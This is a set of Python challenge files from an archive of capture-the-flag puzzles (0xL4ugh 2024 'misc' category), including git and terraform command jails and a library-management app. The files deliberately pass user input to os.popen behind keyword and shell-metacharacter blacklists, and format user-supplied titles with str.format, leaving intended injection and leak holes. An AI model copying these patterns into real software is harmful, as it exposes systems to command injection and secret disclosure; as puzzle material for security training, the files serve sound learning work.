https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/0xL4ugh/2024/misc/GitMeow_Revenge/banner.py
ctfs/0xL4ugh/2024/misc/GitMeow_Revenge/banner.py
monkey=""" โ”ˆโ”ˆโ•ฑโ–”โ–”โ–”โ–”โ–”โ•ฒโ”ˆโ”ˆโ”ˆHMโ”ˆHM โ”ˆโ•ฑโ”ˆโ”ˆโ•ฑโ–”โ•ฒโ•ฒโ•ฒโ–โ”ˆโ”ˆโ”ˆHMMM โ•ฑโ”ˆโ”ˆโ•ฑโ”โ•ฑโ–”โ–”โ–”โ–”โ–”โ•ฒโ”โ•ฎโ”ˆโ”ˆ โ–โ”ˆโ–•โ”ƒโ–•โ•ฑโ–”โ•ฒโ•ฑโ–”โ•ฒโ–•โ•ฎโ”ƒโ”ˆโ”ˆ โ–โ”ˆโ–•โ•ฐโ”โ–โ–Šโ–•โ–•โ–‹โ–•โ–•โ”โ•ฏโ”ˆโ”ˆ โ•ฒโ”ˆโ”ˆโ•ฒโ•ฑโ–”โ•ญโ•ฎโ–”โ–”โ”ณโ•ฒโ•ฒโ”ˆโ”ˆโ”ˆ โ”ˆโ•ฒโ”ˆโ”ˆโ–โ•ญโ”โ”โ”โ”โ•ฏโ–•โ–•โ”ˆโ”ˆโ”ˆ โ”ˆโ”ˆโ•ฒโ”ˆโ•ฒโ–‚โ–‚โ–‚โ–‚โ–‚โ–‚โ•ฑโ•ฑโ”ˆโ”ˆโ”ˆ โ”ˆโ”ˆโ”ˆโ”ˆโ–โ”Šโ”ˆโ”ˆโ”ˆโ”ˆโ”Šโ”ˆโ”ˆโ”ˆโ•ฒโ”ˆ โ”ˆโ”ˆโ”ˆโ”ˆโ–โ”Šโ”ˆโ”ˆโ”ˆโ”ˆโ”Šโ–•โ•ฒโ”ˆโ”ˆโ•ฒ โ”ˆโ•ฑโ–”โ•ฒโ–โ”Šโ”ˆโ”ˆโ”ˆโ”ˆโ”Šโ–•โ•ฑโ–”โ•ฒโ–• โ”ˆโ– โ”ˆโ”ˆโ”ˆโ•ฐโ”ˆโ”ˆโ”ˆโ”ˆโ•ฏโ”ˆโ”ˆโ”ˆโ–•โ–• โ”ˆโ•ฒโ”ˆโ”ˆโ”ˆโ•ฒโ”ˆโ”ˆโ”ˆโ”ˆโ•ฑโ”ˆโ”ˆโ”ˆโ•ฑโ”ˆโ•ฒ โ”ˆโ”ˆโ•ฒโ”ˆโ”ˆโ–•โ–”โ–”โ–”โ–”โ–โ”ˆโ”ˆโ•ฑโ•ฒโ•ฒโ•ฒโ– โ”ˆโ•ฑโ–”โ”ˆโ”ˆโ–•โ”ˆโ”ˆโ”ˆโ”ˆโ–โ”ˆโ”ˆโ–”โ•ฒโ–”โ–” โ”ˆโ•ฒโ–‚โ–‚โ–‚โ•ฑโ”ˆโ”ˆโ”ˆโ”ˆโ•ฒโ–‚โ–‚โ–‚โ•ฑโ”ˆ Hmmmmmm... Try Harder ๐Ÿ’ """
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/0xL4ugh/2024/misc/GitMeow_Revenge/challenge.py
ctfs/0xL4ugh/2024/misc/GitMeow_Revenge/challenge.py
import os from banner import monkey BLACKLIST = ["|", "\"", "'", ";", "$", "\\", "#", "*", "(", ")", "&", "^", "@", "!", "<", ">", "%", ":", ",", "?", "{", "}", "`","diff","/dev/null","patch","./","alias","push","grep","f4k3","fl4g","f0r","n00b5"] def is_valid_utf8(text): try: text.encode('utf-8').decode('utf-8') return True except UnicodeDecodeError: return False def get_git_commands(): commands = [] print("Enter git commands (Enter an empty line to end):") while True: try: user_input = input("") except (EOFError, KeyboardInterrupt): break if not user_input: break if not is_valid_utf8(user_input): print(monkey) exit(1337) for command in user_input.split(" "): for blacklist in BLACKLIST: if blacklist in command: print(monkey) exit(1337) commands.append("git " + user_input) return commands def execute_git_commands(commands): for command in commands: output = os.popen(command).read() if "{f4k3_fl4g_f0r_n00b5}" in output: print(monkey) exit(1337) else: print(output) commands = get_git_commands() execute_git_commands(commands)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/0xL4ugh/2024/misc/TerraMeow/banner.py
ctfs/0xL4ugh/2024/misc/TerraMeow/banner.py
monkey=""" โ”ˆโ”ˆโ•ฑโ–”โ–”โ–”โ–”โ–”โ•ฒโ”ˆโ”ˆโ”ˆHMโ”ˆHM โ”ˆโ•ฑโ”ˆโ”ˆโ•ฑโ–”โ•ฒโ•ฒโ•ฒโ–โ”ˆโ”ˆโ”ˆHMMM โ•ฑโ”ˆโ”ˆโ•ฑโ”โ•ฑโ–”โ–”โ–”โ–”โ–”โ•ฒโ”โ•ฎโ”ˆโ”ˆ โ–โ”ˆโ–•โ”ƒโ–•โ•ฑโ–”โ•ฒโ•ฑโ–”โ•ฒโ–•โ•ฎโ”ƒโ”ˆโ”ˆ โ–โ”ˆโ–•โ•ฐโ”โ–โ–Šโ–•โ–•โ–‹โ–•โ–•โ”โ•ฏโ”ˆโ”ˆ โ•ฒโ”ˆโ”ˆโ•ฒโ•ฑโ–”โ•ญโ•ฎโ–”โ–”โ”ณโ•ฒโ•ฒโ”ˆโ”ˆโ”ˆ โ”ˆโ•ฒโ”ˆโ”ˆโ–โ•ญโ”โ”โ”โ”โ•ฏโ–•โ–•โ”ˆโ”ˆโ”ˆ โ”ˆโ”ˆโ•ฒโ”ˆโ•ฒโ–‚โ–‚โ–‚โ–‚โ–‚โ–‚โ•ฑโ•ฑโ”ˆโ”ˆโ”ˆ โ”ˆโ”ˆโ”ˆโ”ˆโ–โ”Šโ”ˆโ”ˆโ”ˆโ”ˆโ”Šโ”ˆโ”ˆโ”ˆโ•ฒโ”ˆ โ”ˆโ”ˆโ”ˆโ”ˆโ–โ”Šโ”ˆโ”ˆโ”ˆโ”ˆโ”Šโ–•โ•ฒโ”ˆโ”ˆโ•ฒ โ”ˆโ•ฑโ–”โ•ฒโ–โ”Šโ”ˆโ”ˆโ”ˆโ”ˆโ”Šโ–•โ•ฑโ–”โ•ฒโ–• โ”ˆโ– โ”ˆโ”ˆโ”ˆโ•ฐโ”ˆโ”ˆโ”ˆโ”ˆโ•ฏโ”ˆโ”ˆโ”ˆโ–•โ–• โ”ˆโ•ฒโ”ˆโ”ˆโ”ˆโ•ฒโ”ˆโ”ˆโ”ˆโ”ˆโ•ฑโ”ˆโ”ˆโ”ˆโ•ฑโ”ˆโ•ฒ โ”ˆโ”ˆโ•ฒโ”ˆโ”ˆโ–•โ–”โ–”โ–”โ–”โ–โ”ˆโ”ˆโ•ฑโ•ฒโ•ฒโ•ฒโ– โ”ˆโ•ฑโ–”โ”ˆโ”ˆโ–•โ”ˆโ”ˆโ”ˆโ”ˆโ–โ”ˆโ”ˆโ–”โ•ฒโ–”โ–” โ”ˆโ•ฒโ–‚โ–‚โ–‚โ•ฑโ”ˆโ”ˆโ”ˆโ”ˆโ•ฒโ–‚โ–‚โ–‚โ•ฑโ”ˆ Hmmmmmm... Try Harder ๐Ÿ’ """
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/0xL4ugh/2024/misc/TerraMeow/challenge.py
ctfs/0xL4ugh/2024/misc/TerraMeow/challenge.py
import os from banner import monkey BLACKLIST = ["|","'",";", "$", "\\", "#", "*", "&", "^", "@", "!", "<", ">", "%", ":", ",", "?", "{", "}", "`","diff","/dev/null","patch","./","alias","push"] def is_valid_utf8(text): try: text.encode('utf-8').decode('utf-8') return True except UnicodeDecodeError: return False def get_terraform_commands(): commands = [] print("Enter terraform console commands (Enter an empty line to end):") while True: try: user_input = input("") except (EOFError, KeyboardInterrupt): break if not user_input: break if not is_valid_utf8(user_input): print(monkey) exit(1337) for command in user_input.split(" "): for blacklist in BLACKLIST: if blacklist in command: print(monkey) exit(1337) commands.append(user_input) if len(commands) > 1: print(monkey) exit(1337) return commands def execute_terraform_commands(commands): for command in commands: cmd = f"echo '{command}' | terraform console" output = os.popen(cmd).read() if "0xL4ugh{F4k3_Fl4G_F0r_T4stIng}" in output: print(monkey) exit(1337) else: print(output) commands = get_terraform_commands() execute_terraform_commands(commands)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/0xL4ugh/2024/misc/Library_Revenge/challenge.py
ctfs/0xL4ugh/2024/misc/Library_Revenge/challenge.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from rich.console import Console import re import shlex import os FLAG = os.getenv("FLAG","FAKE_FLAG") console=Console() class Member: def __init__(self, name): self.name = name class Book: def __init__(self, title, author, isbn): self.title = title self.author = author self.isbn = isbn class BookCopy: def __init__(self, book): self.book = book self.available = True class SaveFile: def __init__(self, file_name=os.urandom(16).hex()): self.file = file_name class Library: def __init__(self, name): self.name = name self.books = {} self.members = {} def add_book(self, book, num_copies=1): if book.isbn in self.books: self.books[book.isbn] += num_copies else: self.books[book.isbn] = num_copies def add_member(self, member): self.members[member.name] = member def display_books(self,title=''): if not title == '': for isbn, num_copies in self.books.items(): book = isbn_to_book[isbn] if book.title == title: return book.title else: console.print("\n[bold red]Book not found.[/bold red]") else: console.print(f"\n[bold green]Books in {self.name} Library:[/bold green]") for isbn, num_copies in self.books.items(): book = isbn_to_book[isbn] status = f"{num_copies} copies available" if num_copies > 0 else "All copies checked out" console.print(f"[cyan]ISBN: {isbn} - Status: {status}[/cyan]") def search_book(self): pattern = console.input("[bold blue]Enter the pattern to search: [/bold blue]") matching_books = [] for isbn, num_copies in self.books.items(): book = isbn_to_book[isbn] if re.fullmatch(pattern,book.title): matching_books.append(book) if matching_books: console.print(f"\n[bold yellow]Found matching books for '{pattern}':[bold yellow]") for book in matching_books: status = f"{num_copies} copies available" if num_copies > 0 else "All copies checked out" console.print(f"[cyan]ISBN: {book.isbn} - Status: {status}[/cyan]") else: console.print(f"[bold yellow]No matching books found for '{pattern}'.[/bold yellow]") def check_out_book(self, isbn, member_name): if member_name not in self.members: console.print(f"\n[bold red]Member '{member_name}' not found.[/bold red]") return if isbn not in isbn_to_book: console.print("\n[bold red]Book not found.[/bold red]") return if isbn not in self.books or self.books[isbn] <= 0: console.print("\n[bold red]All copies of the book are currently checked out.[/bold red]") return member = self.members[member_name] book_copy = BookCopy(isbn_to_book[isbn]) for i in range(len(member_books.setdefault(member_name, []))): if member_books[member_name][i].book.isbn == isbn and member_books[member_name][i].available: member_books[member_name][i] = book_copy self.books[isbn] -= 1 console.print(f"\n[bold green]Successfully checked out:[/bold green] [cyan]{book_copy.book} for {member.name}[/cyan]") return console.print("\n[bold red]No available copies of the book for checkout.[/bold red]") def return_book(self, isbn, member_name): if member_name not in self.members: console.print(f"\n[bold red]Member '{member_name}' not found.[/bold red]") return if isbn not in isbn_to_book: console.print("\n[bold red]Book not found.[/bold red]") return member = self.members[member_name] for i in range(len(member_books.setdefault(member_name, []))): if member_books[member_name][i].book.isbn == isbn and not member_books[member_name][i].available: member_books[member_name][i].available = True self.books[isbn] += 1 console.print(f"\n[bold green]Successfully returned:[/bold green] [cyan]{member_books[member_name][i].book} by {member.name}[/cyan]") return console.print("\n[bold red]Book not checked out to the member or already returned.[/bold red]") def save_book(title, content='zAbuQasem'): try: with open(title, 'w') as file: file.write(content) console.print(f"[bold green]Book saved successfully[/bold green]") except Exception as e: console.print(f"[bold red]Error: {e}[/bold red]") def check_file_presence(): book_name = shlex.quote(console.input("[bold blue]Enter the name of the book (file) to check:[/bold blue] ")) command = "ls " + book_name try: result = os.popen(command).read().strip() if result == book_name: console.print(f"[bold green]The book is present in the current directory.[/bold green]") else: console.print(f"[bold red]The book is not found in the current directory.[/bold red]") except Exception as e: console.print(f"[bold red]Error: {e}[/bold red]") if __name__ == "__main__": library = Library("My Library") isbn_to_book = {} member_books = {} while True: console.print("\n[bold blue]Library Management System[/bold blue]") console.print("1. Add Member") console.print("2. Add Book") console.print("3. Display Books") console.print("4. Search Book") console.print("5. Check Out Book") console.print("6. Return Book") console.print("7. Save Book") console.print("8. Check File Presence") console.print("0. Exit") choice = console.input("[bold blue]Enter your choice (0-8): [/bold blue]") if choice == "0": console.print("[bold blue]Exiting Library Management System. Goodbye![/bold blue]") break elif choice == "1": member_name = console.input("[bold blue]Enter member name: [/bold blue]") library.add_member(Member(member_name)) console.print(f"[bold green]Member '{member_name}' added successfully.[/bold green]") elif choice == "2": title = console.input("[bold blue]Enter book title: [/bold blue]").strip() author = console.input("[bold blue]Enter book author: [/bold blue]") isbn = console.input("[bold blue]Enter book ISBN: [/bold blue]") num_copies = int(console.input("[bold blue]Enter number of copies: [/bold blue]")) book = Book(title, author, isbn) isbn_to_book[isbn] = book library.add_book(book, num_copies) console.print(f"[bold green]Book '{title}' added successfully with {num_copies} copies.[/bold green]") elif choice == "3": library.display_books() elif choice == "4": library.search_book() elif choice == "5": isbn = console.input("[bold blue]Enter ISBN of the book: [/bold blue]") member_name = console.input("[bold blue]Enter member name: [/bold blue]") library.check_out_book(isbn, member_name) elif choice == "6": isbn = console.input("[bold blue]Enter ISBN of the book: [/bold blue]") member_name = console.input("[bold blue]Enter member name: [/bold blue]") library.return_book(isbn, member_name) elif choice == "7": choice = console.input("\n[bold blue]Book Manager:[/bold blue]\n1. Save Existing\n2. Create new book\n[bold blue]Enter your choice (1-2): [/bold blue]") if choice == "1": title = console.input("[bold blue]Enter Book title to save: [/bold blue]").strip() file = SaveFile(library.display_books(title=title)) save_book(file.file, content="Hello World") else: save_file = SaveFile() title = console.input("[bold blue]Enter book title: [/bold blue]").strip() author = console.input("[bold blue]Enter book author: [/bold blue]") isbn = console.input("[bold blue]Enter book ISBN: [/bold blue]") num_copies = int(console.input("[bold blue]Enter number of copies: [/bold blue]")) title = title.format(file=save_file) book = Book(title,author, isbn) isbn_to_book[isbn] = book library.add_book(book, num_copies) save_book(title) elif choice == "8": check_file_presence() else: console.print("[bold red]Invalid choice. Please enter a number between 0 and 8.[/bold red]")
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/0xL4ugh/2024/misc/Library/challenge.py
ctfs/0xL4ugh/2024/misc/Library/challenge.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from rich.console import Console import re import shlex import os FLAG = os.getenv("FLAG","FAKE_FLAG") console=Console() class Member: def __init__(self, name): self.name = name class Book: def __init__(self, title, author, isbn): self.title = title self.author = author self.isbn = isbn class BookCopy: def __init__(self, book): self.book = book self.available = True class SaveFile: def __init__(self, file_name=os.urandom(16).hex()): self.file = file_name class Library: def __init__(self, name): self.name = name self.books = {} self.members = {} def add_book(self, book, num_copies=1): if book.isbn in self.books: self.books[book.isbn] += num_copies else: self.books[book.isbn] = num_copies def add_member(self, member): self.members[member.name] = member def display_books(self,title=''): if not title == '': for isbn, num_copies in self.books.items(): book = isbn_to_book[isbn] if book.title == title: return book.title else: console.print("\n[bold red]Book not found.[/bold red]") else: console.print(f"\n[bold green]Books in {self.name} Library:[/bold green]") for isbn, num_copies in self.books.items(): book = isbn_to_book[isbn] status = f"{num_copies} copies available" if num_copies > 0 else "All copies checked out" console.print(f"[cyan]ISBN: {isbn} - Status: {status}[/cyan]") def search_book(self): pattern = console.input("[bold blue]Enter the pattern to search: [/bold blue]") matching_books = [] for isbn, num_copies in self.books.items(): book = isbn_to_book[isbn] if re.fullmatch(pattern,book.title): matching_books.append(book) if matching_books: console.print(f"\n[bold yellow]Found matching books for '{pattern}':[bold yellow]") for book in matching_books: status = f"{num_copies} copies available" if num_copies > 0 else "All copies checked out" console.print(f"[cyan]ISBN: {book.isbn} - Status: {status}[/cyan]") else: console.print(f"[bold yellow]No matching books found for '{pattern}'.[/bold yellow]") def check_out_book(self, isbn, member_name): if member_name not in self.members: console.print(f"\n[bold red]Member '{member_name}' not found.[/bold red]") return if isbn not in isbn_to_book: console.print("\n[bold red]Book not found.[/bold red]") return if isbn not in self.books or self.books[isbn] <= 0: console.print("\n[bold red]All copies of the book are currently checked out.[/bold red]") return member = self.members[member_name] book_copy = BookCopy(isbn_to_book[isbn]) for i in range(len(member_books.setdefault(member_name, []))): if member_books[member_name][i].book.isbn == isbn and member_books[member_name][i].available: member_books[member_name][i] = book_copy self.books[isbn] -= 1 console.print(f"\n[bold green]Successfully checked out:[/bold green] [cyan]{book_copy.book} for {member.name}[/cyan]") return console.print("\n[bold red]No available copies of the book for checkout.[/bold red]") def return_book(self, isbn, member_name): if member_name not in self.members: console.print(f"\n[bold red]Member '{member_name}' not found.[/bold red]") return if isbn not in isbn_to_book: console.print("\n[bold red]Book not found.[/bold red]") return member = self.members[member_name] for i in range(len(member_books.setdefault(member_name, []))): if member_books[member_name][i].book.isbn == isbn and not member_books[member_name][i].available: member_books[member_name][i].available = True self.books[isbn] += 1 console.print(f"\n[bold green]Successfully returned:[/bold green] [cyan]{member_books[member_name][i].book} by {member.name}[/cyan]") return console.print("\n[bold red]Book not checked out to the member or already returned.[/bold red]") def save_book(title, content='zAbuQasem'): try: with open(title, 'w') as file: file.write(content) console.print(f"[bold green]Book saved successfully[/bold green]") except Exception as e: console.print(f"[bold red]Error: {e}[/bold red]") def check_file_presence(): book_name = shlex.quote(console.input("[bold blue]Enter the name of the book (file) to check:[/bold blue] ")) command = "ls " + book_name try: result = os.popen(command).read().strip() print(result) if result == book_name: console.print(f"[bold green]The book is present in the current directory.[/bold green]") else: console.print(f"[bold red]The book is not found in the current directory.[/bold red]") except Exception as e: console.print(f"[bold red]Error: {e}[/bold red]") if __name__ == "__main__": library = Library("My Library") isbn_to_book = {} member_books = {} while True: console.print("\n[bold blue]Library Management System[/bold blue]") console.print("1. Add Member") console.print("2. Add Book") console.print("3. Display Books") console.print("4. Search Book") console.print("5. Check Out Book") console.print("6. Return Book") console.print("7. Save Book") console.print("8. Check File Presence") console.print("0. Exit") choice = console.input("[bold blue]Enter your choice (0-8): [/bold blue]") if choice == "0": console.print("[bold blue]Exiting Library Management System. Goodbye![/bold blue]") break elif choice == "1": member_name = console.input("[bold blue]Enter member name: [/bold blue]") library.add_member(Member(member_name)) console.print(f"[bold green]Member '{member_name}' added successfully.[/bold green]") elif choice == "2": title = console.input("[bold blue]Enter book title: [/bold blue]").strip() author = console.input("[bold blue]Enter book author: [/bold blue]") isbn = console.input("[bold blue]Enter book ISBN: [/bold blue]") num_copies = int(console.input("[bold blue]Enter number of copies: [/bold blue]")) book = Book(title, author, isbn) isbn_to_book[isbn] = book library.add_book(book, num_copies) console.print(f"[bold green]Book '{title}' added successfully with {num_copies} copies.[/bold green]") elif choice == "3": library.display_books() elif choice == "4": library.search_book() elif choice == "5": isbn = console.input("[bold blue]Enter ISBN of the book: [/bold blue]") member_name = console.input("[bold blue]Enter member name: [/bold blue]") library.check_out_book(isbn, member_name) elif choice == "6": isbn = console.input("[bold blue]Enter ISBN of the book: [/bold blue]") member_name = console.input("[bold blue]Enter member name: [/bold blue]") library.return_book(isbn, member_name) elif choice == "7": choice = console.input("\n[bold blue]Book Manager:[/bold blue]\n1. Save Existing\n2. Create new book\n[bold blue]Enter your choice (1-2): [/bold blue]") if choice == "1": title = console.input("[bold blue]Enter Book title to save: [/bold blue]").strip() file = SaveFile(library.display_books(title=title)) save_book(file.file, content="Hello World") else: save_file = SaveFile() title = console.input("[bold blue]Enter book title: [/bold blue]").strip() author = console.input("[bold blue]Enter book author: [/bold blue]") isbn = console.input("[bold blue]Enter book ISBN: [/bold blue]") num_copies = int(console.input("[bold blue]Enter number of copies: [/bold blue]")) title = title.format(file=save_file) book = Book(title,author, isbn) isbn_to_book[isbn] = book library.add_book(book, num_copies) save_book(title) elif choice == "8": check_file_presence() else: console.print("[bold red]Invalid choice. Please enter a number between 0 and 8.[/bold red]")
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/0xL4ugh/2024/misc/GitMeow/banner.py
ctfs/0xL4ugh/2024/misc/GitMeow/banner.py
monkey=""" โ”ˆโ”ˆโ•ฑโ–”โ–”โ–”โ–”โ–”โ•ฒโ”ˆโ”ˆโ”ˆHMโ”ˆHM โ”ˆโ•ฑโ”ˆโ”ˆโ•ฑโ–”โ•ฒโ•ฒโ•ฒโ–โ”ˆโ”ˆโ”ˆHMMM โ•ฑโ”ˆโ”ˆโ•ฑโ”โ•ฑโ–”โ–”โ–”โ–”โ–”โ•ฒโ”โ•ฎโ”ˆโ”ˆ โ–โ”ˆโ–•โ”ƒโ–•โ•ฑโ–”โ•ฒโ•ฑโ–”โ•ฒโ–•โ•ฎโ”ƒโ”ˆโ”ˆ โ–โ”ˆโ–•โ•ฐโ”โ–โ–Šโ–•โ–•โ–‹โ–•โ–•โ”โ•ฏโ”ˆโ”ˆ โ•ฒโ”ˆโ”ˆโ•ฒโ•ฑโ–”โ•ญโ•ฎโ–”โ–”โ”ณโ•ฒโ•ฒโ”ˆโ”ˆโ”ˆ โ”ˆโ•ฒโ”ˆโ”ˆโ–โ•ญโ”โ”โ”โ”โ•ฏโ–•โ–•โ”ˆโ”ˆโ”ˆ โ”ˆโ”ˆโ•ฒโ”ˆโ•ฒโ–‚โ–‚โ–‚โ–‚โ–‚โ–‚โ•ฑโ•ฑโ”ˆโ”ˆโ”ˆ โ”ˆโ”ˆโ”ˆโ”ˆโ–โ”Šโ”ˆโ”ˆโ”ˆโ”ˆโ”Šโ”ˆโ”ˆโ”ˆโ•ฒโ”ˆ โ”ˆโ”ˆโ”ˆโ”ˆโ–โ”Šโ”ˆโ”ˆโ”ˆโ”ˆโ”Šโ–•โ•ฒโ”ˆโ”ˆโ•ฒ โ”ˆโ•ฑโ–”โ•ฒโ–โ”Šโ”ˆโ”ˆโ”ˆโ”ˆโ”Šโ–•โ•ฑโ–”โ•ฒโ–• โ”ˆโ– โ”ˆโ”ˆโ”ˆโ•ฐโ”ˆโ”ˆโ”ˆโ”ˆโ•ฏโ”ˆโ”ˆโ”ˆโ–•โ–• โ”ˆโ•ฒโ”ˆโ”ˆโ”ˆโ•ฒโ”ˆโ”ˆโ”ˆโ”ˆโ•ฑโ”ˆโ”ˆโ”ˆโ•ฑโ”ˆโ•ฒ โ”ˆโ”ˆโ•ฒโ”ˆโ”ˆโ–•โ–”โ–”โ–”โ–”โ–โ”ˆโ”ˆโ•ฑโ•ฒโ•ฒโ•ฒโ– โ”ˆโ•ฑโ–”โ”ˆโ”ˆโ–•โ”ˆโ”ˆโ”ˆโ”ˆโ–โ”ˆโ”ˆโ–”โ•ฒโ–”โ–” โ”ˆโ•ฒโ–‚โ–‚โ–‚โ•ฑโ”ˆโ”ˆโ”ˆโ”ˆโ•ฒโ–‚โ–‚โ–‚โ•ฑโ”ˆ Hmmmmmm... Try Harder ๐Ÿ’ """
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/0xL4ugh/2024/misc/GitMeow/challenge.py
ctfs/0xL4ugh/2024/misc/GitMeow/challenge.py
import os from banner import monkey BLACKLIST = ["|", "\"", "'", ";", "$", "\\", "#", "*", "(", ")", "&", "^", "@", "!", "<", ">", "%", ":", ",", "?", "{", "}", "`","diff","/dev/null","patch","./","alias","push"] def is_valid_utf8(text): try: text.encode('utf-8').decode('utf-8') return True except UnicodeDecodeError: return False def get_git_commands(): commands = [] print("Enter git commands (Enter an empty line to end):") while True: try: user_input = input("") except (EOFError, KeyboardInterrupt): break if not user_input: break if not is_valid_utf8(user_input): print(monkey) exit(1337) for command in user_input.split(" "): for blacklist in BLACKLIST: if blacklist in command: print(monkey) exit(1337) commands.append("git " + user_input) return commands def execute_git_commands(commands): for command in commands: output = os.popen(command).read() if "{f4k3_fl4g_f0r_n00b5}" in output: print(monkey) exit(1337) else: print(output) commands = get_git_commands() execute_git_commands(commands)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false